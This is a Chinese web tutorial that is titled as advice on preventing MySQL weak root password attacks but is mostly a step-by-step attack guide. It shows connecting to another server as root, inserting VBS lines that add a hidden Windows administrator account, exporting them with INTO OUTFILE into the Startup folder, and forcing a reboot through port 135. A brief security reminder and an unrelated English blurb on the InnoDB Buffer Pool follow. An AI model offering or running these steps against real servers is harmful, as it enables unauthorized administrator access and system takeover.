HomeDatabaseMysql Tutorial防止mysql用户root密码弱口令的攻击方法

文章介绍关于防止mysql用户root密码弱口令的攻击,大家可以看看自己的mysql root是不是也存在这样的安全隐患。

1、连接到对方MYSQL 服务器

-u root -h 192.168.0.1

mysql.exe 这个程序在你安装了MYSQL的的BIN目录中。

2、让我们来看看服务器中有些什么

mysql>show databases; MYSQL默认安装时会有MYSQL、TEST这两个数据库,如果你看到有其它的数据库那么就是用户自建的数据库。

3、让我们进入数据库

mysql>use test; 我们将会进入test数据库中。

4、查看我们进入数据库中有些什么数据表

mysql>show tables; 默认的情况下,test中没有任何表的存在。

以下为关键的部分

5、在TEST数据库下创建一个新的表;

mysql>create table a (cmd text); 好了,我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。

6、在表中插入内容

 代码如下 复制代码

mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );

mysql>insert into a values

("b=wshshell.run (""cmd.exe /c net localgroup Administrators 1 /add"",0) " );

注意双引号和括号以及后面的"0"一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!  7、好了,现在我们来看看表a中有些什么

mysql> * from a;我们将会看到表中有三行数据,就是我们刚刚输入的内容,确认你输入的内容无误后,我们来到下一步

8、输出表为一个VBS的脚本文件

mysql>select * from a into outfile "c:\docume~1\alluse~1\“开始”菜单\程序\启动\a.vbs"; 我们把我们表中的内容输入到启动组中,是一个VBS的脚本文件!注意""符号。

9、看到这大家肯定知道了,就是利用MYSQL输出一个可执行的文件而已。为什么不用BAT呢,因为启动运行时会有明显的DOS窗口出来,而用VBS脚本则可以完全隐藏窗口且不会有错误提示!本来,应该还有一句完成脚本后自动删除此脚本的,但是中文目录实在无法处理,只有作罢!好了,找个工具攻击135让服务器重启吧,几分钟以后你就是管理员了。

总结:不管你什么时候都需要注意自己服务器的安全否则就别谈其它应用程序了,本文章讲述的mysql root密码弱口令的攻击只是安全应用中的冰山一解而己。

Explain the InnoDB Buffer Pool and its importance for performance.Explain the InnoDB Buffer Pool and its importance for performance.Apr 19, 2025 am 12:24 AM

InnoDBBufferPool reduces disk I/O by caching data and indexing pages, improving database performance. Its working principle includes: 1. Data reading: Read data from BufferPool; 2. Data writing: After modifying the data, write to BufferPool and refresh it to disk regularly; 3. Cache management: Use the LRU algorithm to manage cache pages; 4. Reading mechanism: Load adjacent data pages in advance. By sizing the BufferPool and using multiple instances, database performance can be optimized.
